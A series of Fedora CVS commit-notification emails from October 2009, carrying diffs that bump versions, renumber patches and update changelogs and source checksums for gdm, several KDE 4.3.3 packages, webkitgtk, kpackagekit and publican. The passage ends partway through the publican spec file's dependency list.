retrieving revision 1.515
diff -u -p -r1.514 -r1.515
--- gdm.spec	30 Oct 2009 21:09:09 -0000	1.514
+++ gdm.spec	31 Oct 2009 22:30:41 -0000	1.515
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 17%{?dist}
+Release: 18%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -108,9 +108,10 @@ Patch24: fix-computer-info.patch
 Patch25: fix-run-dir-permissions.patch
 Patch26: make-user-list-animation-smoother.patch
 
-Patch97: gdm-multistack.patch
+Patch96: gdm-multistack.patch
 # Fedora-specific
-Patch98: gdm-bubble-location.patch
+Patch97: gdm-bubble-location.patch
+Patch98: tray-padding.patch
 Patch99: gdm-2.23.1-fedora-logo.patch
 
 %package user-switch-applet
@@ -160,8 +161,9 @@ The GDM fingerprint plugin provides func
 %patch25 -p1 -b .fix-run-dir-permission
 %patch26 -p1 -b .make-user-list-animation-smoother
 
-%patch97 -p1 -b .multistack
-%patch98 -p1 -b .bubble-location
+%patch96 -p1 -b .multistack
+%patch97 -p1 -b .bubble-location
+%patch98 -p1 -b .tray-padding
 %patch99 -p1 -b .fedora-logo
 
 autoreconf -i -f
@@ -415,6 +417,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Sat Oct 31 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-18
+- Actually set up statusicon padding
+
 * Fri Oct 30 2009 Ray Strode <rstrode at redhat.com> 2.28.1-17
 - Make the user list slide animation smoother
 



From rdieter at fedoraproject.org  Sat Oct 31 22:30:48 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 22:30:48 +0000 (UTC)
Subject: rpms/kdeedu/devel .cvsignore, 1.72, 1.73 kdeedu.spec, 1.211,
	1.212 sources, 1.72, 1.73
Message-ID: <20091031223048.8D44C11C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeedu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8357

Modified Files:
	.cvsignore kdeedu.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdeedu/devel/.cvsignore,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- .cvsignore	7 Oct 2009 10:36:41 -0000	1.72
+++ .cvsignore	31 Oct 2009 22:30:47 -0000	1.73
@@ -1 +1 @@
-kdeedu-4.3.2.tar.bz2
+kdeedu-4.3.3.tar.bz2


Index: kdeedu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeedu/devel/kdeedu.spec,v
retrieving revision 1.211
retrieving revision 1.212
diff -u -p -r1.211 -r1.212
--- kdeedu.spec	21 Oct 2009 00:04:05 -0000	1.211
+++ kdeedu.spec	31 Oct 2009 22:30:48 -0000	1.212
@@ -1,3 +1,4 @@
+
 # The Kalzium solver needs OCaml with native compilation support (ocamlopt) and
 # ocaml-facile.
 %ifarch alpha %{ix86} ia64 x86_64 ppc ppc64 sparc sparcv9
@@ -6,8 +7,8 @@
 
 Name:    kdeedu
 Summary: Educational/Edutainment applications
-Version: 4.3.2
-Release: 2%{?dist}
+Version: 4.3.3
+Release: 1%{?dist}
 
 License: GPLv2
 Group:	 Amusements/Games
@@ -487,6 +488,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
 - rebuild (eigen2)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdeedu/devel/sources,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- sources	5 Oct 2009 10:52:57 -0000	1.72
+++ sources	31 Oct 2009 22:30:48 -0000	1.73
@@ -1 +1 @@
-d96d87627471d5b34ccfbb44a5fa50f8  kdeedu-4.3.2.tar.bz2
+9d9d7a34bccb0880d1cdf181f92da217  kdeedu-4.3.3.tar.bz2



From mclasen at fedoraproject.org  Sat Oct 31 22:38:40 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 31 Oct 2009 22:38:40 +0000 (UTC)
Subject: rpms/webkitgtk/F-12 .cvsignore, 1.12, 1.13 sources, 1.12,
	1.13 webkitgtk.spec, 1.25, 1.26
Message-ID: <20091031223840.4F40611C00EF@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/webkitgtk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10109

Modified Files:
	.cvsignore sources webkitgtk.spec 
Log Message:
1.1.15.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/webkitgtk/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	15 Oct 2009 14:36:56 -0000	1.12
+++ .cvsignore	31 Oct 2009 22:38:39 -0000	1.13
@@ -1 +1 @@
-webkit-1.1.15.2.tar.gz
+webkit-1.1.15.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/webkitgtk/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	15 Oct 2009 14:36:56 -0000	1.12
+++ sources	31 Oct 2009 22:38:39 -0000	1.13
@@ -1 +1 @@
-5e086796b1016d7c9f5c6d2fe6ad81f2  webkit-1.1.15.2.tar.gz
+18736af3c751eb078fa3f4a7393cc864  webkit-1.1.15.3.tar.gz


Index: webkitgtk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/webkitgtk/F-12/webkitgtk.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- webkitgtk.spec	15 Oct 2009 14:36:56 -0000	1.25
+++ webkitgtk.spec	31 Oct 2009 22:38:39 -0000	1.26
@@ -34,7 +34,7 @@
 %bcond_with 	wml
 
 Name:		webkitgtk
-Version:	1.1.15.2
+Version:	1.1.15.3
 Release:	1%{?dist}
 Summary:	GTK+ Web content engine library
 
@@ -197,6 +197,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Matthias Clasen <mclasen at redhat.com> - 1.1.15.3-1
+- Update to 1.1.15.3, more crash fixes and important media player fixes
+- See https://lists.webkit.org/pipermail/webkit-gtk/2009-October/000047.html
+
 * Thu Oct 15 2009 Matthias Clasen <mclasen at redhat.com> - 1.1.15.2-1
 - Update to 1.1.15.2, which has multiple crash and other fixes
 - See https://lists.webkit.org/pipermail/webkit-gtk/2009-October/000040.html



From tuxbrewr at fedoraproject.org  Sat Oct 31 22:39:46 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sat, 31 Oct 2009 22:39:46 +0000 (UTC)
Subject: rpms/kpackagekit/F-12 .cvsignore, 1.16, 1.17 kpackagekit.spec, 1.47,
	1.48 sources, 1.24, 1.25
Message-ID: <20091031223946.8AEBB11C00EF@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/kpackagekit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10573

Modified Files:
	.cvsignore kpackagekit.spec sources 
Log Message:
Official 0.5.0.3 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-12/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	25 Oct 2009 18:39:47 -0000	1.16
+++ .cvsignore	31 Oct 2009 22:39:45 -0000	1.17
@@ -1 +1 @@
-kpackagekit-0.5.0.2.tar.bz2
+kpackagekit-0.5.0.3.tar.bz2


Index: kpackagekit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-12/kpackagekit.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- kpackagekit.spec	25 Oct 2009 18:39:47 -0000	1.47
+++ kpackagekit.spec	31 Oct 2009 22:39:46 -0000	1.48
@@ -2,14 +2,14 @@
 %define pk_version 0.5.3
 
 Name:	  	kpackagekit
-Version:	0.5.0.2
+Version:	0.5.0.3
 Release:	1%{?dist}
 Summary:	KDE interface for PackageKit
 
 License:	GPLv2+
 Group:		Applications/System
 #Source0:	http://www.kde-apps.org/CONTENT/content-files/84745-kpackagekit-%{version}.tar.bz2
-Source0:	kpackagekit-0.5.0.2.tar.bz2
+Source0:	kpackagekit-0.5.0.3.tar.bz2
 URL:		http://www.kde-apps.org/content/show.php/KPackageKit?content=84745
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -77,6 +77,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 31 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0.3-1
+- Official 0.5.0.3 release
+
 * Sun Oct 25 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0.2-1
 - Official 0.5.0.2 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-12/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	25 Oct 2009 18:39:47 -0000	1.24
+++ sources	31 Oct 2009 22:39:46 -0000	1.25
@@ -1 +1 @@
-85805deb36f8837e0d8a93f537f72353  kpackagekit-0.5.0.2.tar.bz2
+c12baa39e970443b9b80b5a41efd2310  kpackagekit-0.5.0.3.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 31 22:47:13 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 22:47:13 +0000 (UTC)
Subject: rpms/kdegames/devel .cvsignore, 1.74, 1.75 kdegames.spec, 1.148,
	1.149 sources, 1.76, 1.77
Message-ID: <20091031224713.C27BD11C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdegames/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12372

Modified Files:
	.cvsignore kdegames.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdegames/devel/.cvsignore,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- .cvsignore	7 Oct 2009 10:38:04 -0000	1.74
+++ .cvsignore	31 Oct 2009 22:47:12 -0000	1.75
@@ -1 +1 @@
-kdegames-4.3.2.tar.bz2
+kdegames-4.3.3.tar.bz2


Index: kdegames.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdegames/devel/kdegames.spec,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- kdegames.spec	5 Oct 2009 11:56:47 -0000	1.148
+++ kdegames.spec	31 Oct 2009 22:47:13 -0000	1.149
@@ -1,13 +1,17 @@
+
 Name:    kdegames
 Summary: K Desktop Environment 4 - Games
 Epoch:   6
-Version: 4.3.2
+Version: 4.3.3
 Release: 1%{?dist}
 
 License: GPLv2
 URL:     http://www.kde.org/
 Group:   Amusements/Games
 Source0: ftp://ftp.kde.org/pub/kde/stable/%{version}/src/kdegames-%{version}.tar.bz2
+BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+## FIXME, rebase for 4.3.3
 # Please be careful when rebasing this one! If you accidentally drop parts of
 # it, Legal is going to kick our ass. ;-)
 # In kbattleship.desktop, s/KBattleship/KSinkShips/ in all translations of
@@ -17,8 +21,6 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 # more, but don't use "Tron" in them! -- Kevin
 Patch0:  kdegames-4.3.2-trademarks.patch
 
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-
 # KSnakeDuel moved here from kdegames3
 Conflicts: kdegames3 < 3.5.10-6
 
@@ -229,6 +231,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdegames/devel/sources,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- sources	5 Oct 2009 11:56:47 -0000	1.76
+++ sources	31 Oct 2009 22:47:13 -0000	1.77
@@ -1 +1 @@
-7ddf38fb2aa84bd14d176d5a9f45ed3f  kdegames-4.3.2.tar.bz2
+2e35ec4b2b26b7e7e32712a35cef8912  kdegames-4.3.3.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 31 23:12:24 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 23:12:24 +0000 (UTC)
Subject: rpms/kdemultimedia/devel .cvsignore, 1.71, 1.72 kdemultimedia.spec, 
	1.157, 1.158 sources, 1.71, 1.72
Message-ID: <20091031231224.C02D711C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdemultimedia/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18797

Modified Files:
	.cvsignore kdemultimedia.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdemultimedia/devel/.cvsignore,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- .cvsignore	7 Oct 2009 11:02:43 -0000	1.71
+++ .cvsignore	31 Oct 2009 23:12:22 -0000	1.72
@@ -1 +1 @@
-kdemultimedia-4.3.2.tar.bz2
+kdemultimedia-4.3.3.tar.bz2


Index: kdemultimedia.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdemultimedia/devel/kdemultimedia.spec,v
retrieving revision 1.157
retrieving revision 1.158
diff -u -p -r1.157 -r1.158
--- kdemultimedia.spec	5 Oct 2009 14:22:20 -0000	1.157
+++ kdemultimedia.spec	31 Oct 2009 23:12:22 -0000	1.158
@@ -1,6 +1,7 @@
+
 Name: kdemultimedia
 Epoch: 6
-Version: 4.3.2
+Version: 4.3.3
 Release: 1%{?dist}
 Summary: K Desktop Environment - Multimedia applications
 
@@ -165,6 +166,9 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdemultimedia/devel/sources,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- sources	5 Oct 2009 14:22:20 -0000	1.71
+++ sources	31 Oct 2009 23:12:22 -0000	1.72
@@ -1 +1 @@
-c32305e0d17198387a495e75f3d844ac  kdemultimedia-4.3.2.tar.bz2
+854ddc7057cac4b8bf8d7aa4b7f57516  kdemultimedia-4.3.3.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 31 23:16:50 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 23:16:50 +0000 (UTC)
Subject: rpms/kdenetwork/devel .cvsignore, 1.75, 1.76 kdenetwork.spec, 1.204,
	1.205 sources, 1.80, 1.81
Message-ID: <20091031231651.3660511C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdenetwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20095

Modified Files:
	.cvsignore kdenetwork.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdenetwork/devel/.cvsignore,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- .cvsignore	7 Oct 2009 11:32:27 -0000	1.75
+++ .cvsignore	31 Oct 2009 23:16:49 -0000	1.76
@@ -1,2 +1,2 @@
 krdc-icons.tar.bz2
-kdenetwork-4.3.2.tar.bz2
+kdenetwork-4.3.3.tar.bz2


Index: kdenetwork.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdenetwork/devel/kdenetwork.spec,v
retrieving revision 1.204
retrieving revision 1.205
diff -u -p -r1.204 -r1.205
--- kdenetwork.spec	26 Oct 2009 15:56:51 -0000	1.204
+++ kdenetwork.spec	31 Oct 2009 23:16:50 -0000	1.205
@@ -1,8 +1,9 @@
+
 Summary: K Desktop Environment - Network Applications
 Name: kdenetwork
 Epoch: 7
-Version: 4.3.2
-Release: 4%{?dist}
+Version: 4.3.3
+Release: 1%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -193,6 +194,9 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Mon Oct 26 2009 Than Ngo <than at redhat.com> - 4.3.2-4
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdenetwork/devel/sources,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- sources	5 Oct 2009 14:34:12 -0000	1.80
+++ sources	31 Oct 2009 23:16:50 -0000	1.81
@@ -1,2 +1,2 @@
 7dd360a790100c952090410c2c89937c  krdc-icons.tar.bz2
-57b44a9b59c35366a0c287c591bb9bdc  kdenetwork-4.3.2.tar.bz2
+3dec4242e05c77f319b974ee579aaf77  kdenetwork-4.3.3.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 31 23:18:28 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 23:18:28 +0000 (UTC)
Subject: rpms/kdepim-runtime/devel .cvsignore, 1.7, 1.8 kdepim-runtime.spec, 
	1.9, 1.10 sources, 1.7, 1.8
Message-ID: <20091031231828.514AC11C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdepim-runtime/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20667

Modified Files:
	.cvsignore kdepim-runtime.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	5 Oct 2009 14:56:28 -0000	1.7
+++ .cvsignore	31 Oct 2009 23:18:26 -0000	1.8
@@ -1,6 +1 @@
-kdepim-runtime-4.2.95.tar.bz2
-kdepim-runtime-4.2.96.tar.bz2
-kdepim-runtime-4.2.98.tar.bz2
-kdepim-runtime-4.3.0.tar.bz2
-kdepim-runtime-4.3.1.tar.bz2
-kdepim-runtime-4.3.2.tar.bz2
+kdepim-runtime-4.3.3.tar.bz2


Index: kdepim-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/devel/kdepim-runtime.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- kdepim-runtime.spec	5 Oct 2009 14:56:28 -0000	1.9
+++ kdepim-runtime.spec	31 Oct 2009 23:18:27 -0000	1.10
@@ -1,8 +1,8 @@
-%define akonadi_version 1.1.95
+%define akonadi_version 1.2.1
 
 Name: kdepim-runtime
 Summary: KDE PIM Runtime Environment
-Version: 4.3.2
+Version: 4.3.3
 Release: 1%{?dist}
 
 License: GPLv2
@@ -129,7 +129,11 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %{_kde4_libdir}/lib*.so.*
 
+
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	5 Oct 2009 14:56:28 -0000	1.7
+++ sources	31 Oct 2009 23:18:27 -0000	1.8
@@ -1 +1 @@
-a998b2d6e62e79a80fefc2b3c632a3b8  kdepim-runtime-4.3.2.tar.bz2
+025bbb82f273d28c7507b5b366000b3f  kdepim-runtime-4.3.3.tar.bz2



From rlandmann at fedoraproject.org  Sat Oct 31 23:33:40 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Sat, 31 Oct 2009 23:33:40 +0000 (UTC)
Subject: rpms/publican/devel import.log, NONE, 1.1 .cvsignore, 1.11,
	1.12 publican.spec, 1.27, 1.28 sources, 1.12, 1.13
Message-ID: <20091031233340.99CAC11C00EF@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24301/devel

Modified Files:
	.cvsignore publican.spec sources 
Added Files:
	import.log 
Log Message:
* Mon Oct 26 2009  Jeff Fearn <jfearn at redhat.com> 1.0-0
- Add base langauge summary & descriptions to translated spec file. BZ #515573
- Fix translated package build failure.
- Change tabs to spaces in generated spec files.
- Fix Locale::Maketext::Gettext dep being missed on RHEL.
- Fix common paths on Windows
- Added docbook-style-xsl dep for version 1.75.1+
- POD fix from Mikhail Gusarov <dottedmag at dottedmag.net>
- Added processing file message to update_pot. BZ #518354
- add EPUB stub
- Clean up Copyright in numerous files.
- Add security callback for exslt:document.
- Update XML::LibXML & XML::LibXSLT minimum versions to 1.67
- Fix rounded corners in HTML. BZ #509768
- Fix nested images breakin in PDF. BZ #491782
- Remove border from HTML table for simplelist. BZ #502126
- Fix remarks not being highlighted in PDF. BZ #509307
- Resize shade.verbatim font size. BZ #497462
- Change step page size limitation to para size limitation. BZ#492984
- Add warning message for missing images. BZ #495821
- Fix fuzzy images. BZ #479794
- swap from paths from Publican to publican and obsolete beta packages.
- Fix large example PDF issue. BZ #531685




--- NEW FILE import.log ---
publican-1_0-0_fc11:HEAD:publican-1.0-0.fc11.src.rpm:1257031816


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/publican/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	12 Mar 2009 06:42:31 -0000	1.11
+++ .cvsignore	31 Oct 2009 23:33:40 -0000	1.12
@@ -1 +1 @@
-publican-0.44.tgz
+Publican-1.0.tar.gz


Index: publican.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican/devel/publican.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- publican.spec	24 Sep 2009 23:45:40 -0000	1.27
+++ publican.spec	31 Oct 2009 23:33:40 -0000	1.28
@@ -1,49 +1,124 @@
-%define	my_vendor fedora
-%define	EMBED_DOCKBOOK45 0
-%define	HTMLVIEW 0
-%define PREMOLESTATION 0
-%define FC10 0
-%define FC11 1
-
-Name:		publican	
-Summary:	Common files and scripts for publishing with DocBook XML
-Version:	0.44
-Release:	2%{?dist}
-License:	GPLv2+ and GFDL
-# The following directories are licensed under the GFDL:
-#	content, Book_Template, Set_Template, Article_Template
-Group:		Applications/Text
-Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-Buildarch:	noarch
-Source:		https://fedorahosted.org/releases/p/u/publican/%{name}-%{version}.tgz
-Requires:	gettext libxslt docbook-dtds docbook-style-xsl elinks aspell
-Requires:	%{_bindir}/xml2pot %{_bindir}/po2xml
-Requires:	perl-ParseLex perl-HTML-Template make
-Requires:	fop batik saxon ImageMagick
-Requires:	xerces-j2 rpm-build
-Requires:	perl-XML-TreeBuilder >= 3.09-11
-
-BuildRequires:	gettext libxslt docbook-dtds docbook-style-xsl aspell
-BuildRequires:	%{_bindir}/xml2pot %{_bindir}/po2xml
-BuildRequires:	desktop-file-utils
-BuildRequires:	perl-XML-TreeBuilder >= 3.09-11
-BuildRequires:	fop saxon ImageMagick
-
-Requires:	liberation-mono-fonts liberation-sans-fonts liberation-serif-fonts
-Requires:	cjkuni-uming-fonts 
-Requires:	sazanami-gothic-fonts sazanami-mincho-fonts
-Requires:	lklug-fonts
-Requires:	baekmuk-ttf-batang-fonts
-
-BuildRequires:	liberation-mono-fonts liberation-sans-fonts liberation-serif-fonts
-BuildRequires:	cjkuni-uming-fonts
-BuildRequires:	sazanami-gothic-fonts sazanami-mincho-fonts
-BuildRequires:	lklug-fonts
-BuildRequires:	baekmuk-ttf-batang-fonts
-
-URL:		https://fedorahosted.org/publican
-Obsoletes:	documentation-devel < 0.26-3
-Obsoletes:	perl-SGML-Translate <= 0.37-3
+
+# Track font name changes
+%define RHEL5 %(test "%{?dist}" == ".el5"  && echo 1 || echo 0)
+%define FC10  %(test "%{?dist}" == ".fc10" && echo 1 || echo 0)
+# Assume not rhel and not FC10 means FC11+
+%define OTHER %(test "%{RHEL5}" == "0" -a "%{FC10}" == "0" && echo 1 || echo 0)
+
+# who doesn't have xdg-open?
+%define HTMLVIEW %(test "%{RHEL5}" == "1" && echo 1 || echo 0)
+
+# required for desktop file install
+%define my_vendor %(test "%{RHEL5}" == "1" && echo "redhat" || echo "fedora")
+
+# TODO after beta revert to lower case name
+Name:           publican
+Version:        1.0
+Release:        0%{?dist}
+Summary:        Common files and scripts for publishing with DocBook XML
+# For a breakdown of the licensing, refer to LICENSE
+License:        (GPLv2+ or Artistic) and CC0
+Group:          Applications/Publishing
+URL:            https://publican.fedorahosted.org
+Source0:        https://fedorahosted.org/releases/publican/Publican-%{version}.tar.gz
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildArch:      noarch
+
+BuildRequires:  perl(Devel::Cover)
+BuildRequires:  perl(Module::Build)
+BuildRequires:  perl(Test::Exception)
+BuildRequires:  perl(Test::More)
+BuildRequires:  perl(Test::Pod::Coverage)
+BuildRequires:  perl(Test::Perl::Critic)
+BuildRequires:  perl(Archive::Tar)
+BuildRequires:  perl(Carp)
+BuildRequires:  perl(Config::Simple)
+BuildRequires:  perl(Cwd)
+BuildRequires:  perl(Data::Dumper)
+BuildRequires:  perl(DateTime)
+BuildRequires:  perl(DateTime::Format::DateParse)
+BuildRequires:  perl(Encode)
+BuildRequires:  perl(File::Copy::Recursive)
+BuildRequires:  perl(File::Find)
+BuildRequires:  perl(File::Find::Rule)
+BuildRequires:  perl(File::Path)
+BuildRequires:  perl(File::pushd)
+BuildRequires:  perl(HTML::FormatText)
+BuildRequires:  perl(HTML::TreeBuilder)
+BuildRequires:  perl(I18N::LangTags::List)
+BuildRequires:  perl(Image::Magick)
+BuildRequires:  perl(Image::Size)
+BuildRequires:  perl(Locale::Maketext::Gettext)
+BuildRequires:  perl(Locale::Language)
+BuildRequires:  perl(Locale::PO)
+BuildRequires:  perl(Makefile::Parser)
+BuildRequires:  perl(Syntax::Highlight::Engine::Kate)
+BuildRequires:  perl(Term::ANSIColor)
+BuildRequires:  perl(Text::Wrap)
+BuildRequires:  perl(version)
+BuildRequires:  perl(XML::LibXML)  >=  1.67
+BuildRequires:  perl(XML::LibXSLT) >=  1.67
+BuildRequires:  perl(XML::TreeBuilder) >= 3.09-15
+BuildRequires:  fop >= 0.90
+BuildRequires:  batik
+BuildRequires:  docbook-style-xsl >= 1.75.1
+BuildRequires:  desktop-file-utils
+
+# Most of these are handled automatically
+Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
+Requires:       perl(Locale::Maketext::Gettext)
+Requires:       fop >= 0.90
+Requires:       batik
+Requires:       docbook-style-xsl >= 1.75.1
+Requires:       perl(XML::LibXML)  >=  1.67
+Requires:       perl(XML::LibXSLT) >=  1.67
+Requires:       perl(XML::TreeBuilder) >= 3.09-15
+
+# Pull in the fonts for all languages, else you can't build translated PDF in brew/koji
+%if %{RHEL5}
+Requires:       fonts-bengali fonts-chinese fonts-chinese-zysong fonts-gujarati
+Requires:       fonts-hindi fonts-japanese fonts-kannada fonts-korean
+Requires:       fonts-malayalam fonts-oriya fonts-punjabi fonts-sinhala
+Requires:       fonts-tamil fonts-telugu liberation-fonts
+BuildRequires:  fonts-bengali fonts-chinese fonts-chinese-zysong fonts-gujarati
+BuildRequires:  fonts-hindi fonts-japanese fonts-kannada fonts-korean
+BuildRequires:  fonts-malayalam fonts-oriya fonts-punjabi fonts-sinhala
+BuildRequires:  fonts-tamil fonts-telugu liberation-fonts
+%endif
+%if %{FC10}
+Requires:       lohit-fonts-bengali cjkunifonts-uming lohit-fonts-gujarati
+Requires:       lohit-fonts-hindi sazanami-fonts-gothic sazanami-fonts-mincho lohit-fonts-kannada
+Requires:       lohit-fonts-malayalam lohit-fonts-oriya lohit-fonts-punjabi lklug-fonts
+Requires:       lohit-fonts-tamil lohit-fonts-telugu liberation-fonts baekmuk-ttf-fonts-batang
+
+BuildRequires:  lohit-fonts-bengali cjkunifonts-uming lohit-fonts-gujarati
+BuildRequires:  lohit-fonts-hindi sazanami-fonts-gothic sazanami-fonts-mincho lohit-fonts-kannada
+BuildRequires:  lohit-fonts-malayalam lohit-fonts-oriya lohit-fonts-punjabi lklug-fonts
